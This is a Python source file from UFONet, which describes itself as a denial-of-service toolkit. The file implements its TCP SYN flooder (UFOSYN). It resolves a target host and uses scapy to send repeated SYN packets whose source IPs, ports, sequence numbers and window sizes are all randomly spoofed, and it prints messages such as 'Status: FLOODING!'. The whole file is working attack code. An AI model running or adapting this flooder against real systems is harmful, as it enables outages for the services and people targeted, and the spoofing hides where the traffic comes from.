ufosyn.py 1.9 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import random, socket, os, sys
  10. from scapy.all import *
  11. # UFONet TCP SYN Flooder (UFOSYN)
  12. def randIP():
  13. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  14. return ip
  15. def randInt():
  16. x = random.randint(1,65535) # TCP ports
  17. return x
  18. def synize(ip, port, rounds):
  19. n=0
  20. for x in range (0,int(rounds)):
  21. n=n+1
  22. sport = randInt()
  23. seq = randInt()
  24. window = randInt()
  25. IP_p = IP()
  26. IP_p.src = randIP()
  27. try:
  28. IP_p.dst = ip
  29. except:
  30. print "[Error] UFOSYN: Failed to engage with 'quantum hook' ["+str(n)+"]"
  31. break
  32. TCP_l = TCP()
  33. TCP_l.sport = sport
  34. TCP_l.dport = port
  35. TCP_l.flags = "S"
  36. TCP_l.seq = seq
  37. TCP_l.window = window
  38. try:
  39. send(IP_p/TCP_l, verbose=0)
  40. print "[Info] UFOSYN: Firing 'quantum hook' ["+str(n)+"] -> Status: FLOODING!"
  41. except:
  42. print "[Error] UFOSYN: Failed to engage with 'quantum hook' ["+str(n)+"]"
  43. class UFOSYN(object):
  44. def attacking(self, target, rounds):
  45. print "[Info] TCP SYN Flooder (UFOSYN) is ready to fire: [" , rounds, "quantum hooks ]\n"
  46. if target.startswith('http://'):
  47. target = target.replace('http://','')
  48. port = 80
  49. elif target.startswith('https://'):
  50. target = target.replace('https://','')
  51. port = 443
  52. try:
  53. ip = socket.gethostbyname(target)
  54. except:
  55. ip = target
  56. synize(ip, port, rounds) # attack with UFOSYN using threading